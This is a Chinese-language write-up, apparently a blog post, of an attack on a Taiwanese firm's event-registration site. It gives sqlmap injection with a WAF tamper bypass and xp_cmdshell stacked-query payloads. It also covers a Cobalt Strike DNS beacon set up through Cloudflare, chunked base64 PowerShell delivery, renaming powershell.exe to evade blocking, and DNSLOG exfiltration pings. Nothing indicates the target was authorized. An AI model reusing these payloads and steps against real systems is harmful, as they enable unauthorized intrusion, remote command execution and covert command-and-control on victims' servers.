在某个社区看到这样一篇文章,然后开始勒。

其中泄露目标的点主要有以上几个:
目标Logo泄露

台湾 xxx 老 事务所


从而得到了目标信息。这码打的有点严重,不过就是结合了上图事务所的搜索结果然后再次进行搜索,然后才发现了这个系统,这里就学习一个思路就好了呢
其中活动报名系统吸引勒注意。


其中 edituser.aspx 让我联想到了编辑用户,难道存在未授权访问?

通过点击修改,抓取数据包

随及打开sqlmap 一把梭
然后事情远远不止那样简单

有WAF拦截勒注入测试语句。
随即我们将sqlmap流量转发到Burp进行数据包的分析
--proxy=”http://127.0.0.1:8080”

看那个一个数据包没有返回包

然后随机选择一个空返回包,Ctrl+R进行分析。

首先排除2个原因:
1. 目标网络出现问题,导致无返回包
2. WAF拦截数据包敏感数据,导致无返回包
经过测试如下:
无返回包
Payload【1】:111%29%20AND%202479%3D2479%20AND%20%289352%3D9352
返回正常
Payload【2】:111)+AND+2479%3d2479+AND+(9352%3d9352%26progid%3d
可判断出,WAF拦截语句中会自动将URL编码进行解码然后进行敏感词分析,而当我们将%20替换为+号进行衔接则数据正常返回。针对于此种情况我们可以使用SQLMAP自带的Tamper进行绕过。
space2comment | 空格替换为/**/ |
于是乎加上 --tamper=space2comment 进行绕过

数据正常返回,未出现空白现象。

支持堆叠注入,时间盲注,报错注入,既然支持堆叠注入,那么我们查看是否DBA权限。

True 代表其为 高权限管理员


然后 --os-shell 进行开启XP_CMDSHELL组件进行命令执行
经过 whoami 测试,可正常返回结果,并且为管理员权限。

通过尝试:HTTPS、HTTP、TCP/IP均不出网
然后通过ping DNSLOG,可以出网。

通过系统变量携带数据出网。

证明可以执行命令。
https://www.cloudflare.com/
狗爹购买一个域名:xxxx.com
打开:cloudflare .com 点击添加站点


添加进入你在狗爹购买的域名
将狗爹中所购买的域名,域名服务器修改为 cloudflare 给你的DNS服务器地址


做好了以后呢,等待cloudflare 检查,当变为有效的时候,我们继续设置三个解析记录:

点击域名,进入管理,找到DNS栏目

A 解析记录
NS1 解析记录
NS2 解析记录
比如你的域名为:xxxx.com
添加一个A记录为:CS

IP地址为你CS的IP地址。
然后在添加2个NS记录,NS的值为你刚才的 cs.xxxx.com

然后我们回到 CS中进行调整。

按照刚才的NS1 与 NS2依次填写进去。端口默认不填写
然后开启监听模式。
然后开始生成一个CS木马




当只需要执行Payload中的代码在目标机器中,那么对方就会上线

但是我们这里是GET注入,无法转换为POST类型,并且站库分离模式,我们无法写入SHELL,并且也无法执行Powershell的命令,因为powershell的命令过长,导致IIS默认直接显示404状态。

在CMD中都无法全部输入完毕,我们将其注入点执行命令的SQL语句进行抓包,通过BURP来发送命令语句。

1';DECLARE/**/@vmia/**/VARCHAR(8000); #建立一个叫做vmia的VARCHAR变量SET/**/@vmia='whoami'; #设置变量的参数值INSERT/**/INTO/**/sqlmapoutput(data)/**/EXEC/**/master..xp_cmdshell/**/@vmia-- #利用XP_CMDSHELL 执行变量的内容,然后将其内容写入到sqlmapoutput表中的data字段之中。
在设置变量内容的时候通常有两种方式进行设置:
1. 默认采用HEX对命令进行编码,如果使用是hex编码,那么不需要再值得前后加单引号
SET/**/@vmia=0x77686F616D69Whoami = 0x77686F616D69

1. 直接明文命令形式
SET/**/@vmia=’whoami’
我们注意其中得空格,在GET中得时候我们必须将其进行+号连接,不能直接空格,否则就会导致400错误。
在POST中的时候我们可以不需要对命令之中的空格进行编码,直接以空格形式存在即可。但是在有的情况必须要编码,所以我们可以采取ping -n 5 127.0.0.1 形式来检验命令是否可以执行,如果可以执行,那么我们的服务端回延迟5s返回,因为ping 127.0.0.1 每ping一次为1s,ping 5次 为 5s。

延迟的时间差不多,在4s左右即可。
由于无法执行较长的命令,于是我采取勒以下措施来解决该问题。
第一步:
将我们的powershell命令中base64编码部分进行分段echo进入到目标服务器的txt中。
类似于:echo 123>C:\windows\temp\ALL.TXT
我将其分为 4段,然后依次echo到temp目录下面的txt中。

第二步
然后利用Powershell代码:
$Getxt = Get-Content("C:\Windows\Temp\o.txt").split("`n");$output = $Getxt[0] + $Getxt[1] + $Getxt[2] + $Getxt[3];Write-Output $output > "C:\Windows\Temp\all.txt"
读取all.txt中的内容,然后通过split进行换行符分割,将其分割4个部分,然后再将其4个部分以数组形式进行提出,接着组合 0 - 3的内容到新的all.txt
我们将其这段代码进行BASE64编码,然后再利用powershell的-ENC进行解码执行。

第三步
为了校验我们写得文件内容是否存在,并且是否指定的大小,我们采用下方进行校验:
$a=(Get-ChildItem -Path C:\Windows\Temp\o.txt).Length;ping aa.$a.dnsLOG地址;
通过直接提取写入的txt内容大小,将其拼接到ping命令上


最终得到数据确实大小与本地的数据是对应。
然后我们开始读取,执行
$a=Get-Content -Path "C:\Windows\Temp\66.txt";copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Windows\Temp\123.exe"C:\Windows\Temp\123.exe -enc $a;

其中因为我们直接调用powershell去执行恶意的木马,导致其服务器中的WAF对其进行拦截,

可以看到,powershell被禁止调用,于是我们要通过copy
copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Windows\Temp\123.exe"
为123.exe,然后再利用123.exe去执行 -enc $a 的内容,$a的内容为 Get-content 模块读取的指定txt内容,该内容也就是我们上述数组拼接后的内容。
执行完毕后,机器正常通过DNS协议上线,然后我们执行:checkin 命令让dns beacon 强制回连,并且输入命令mode dns-txt使其传输的数据能增加。





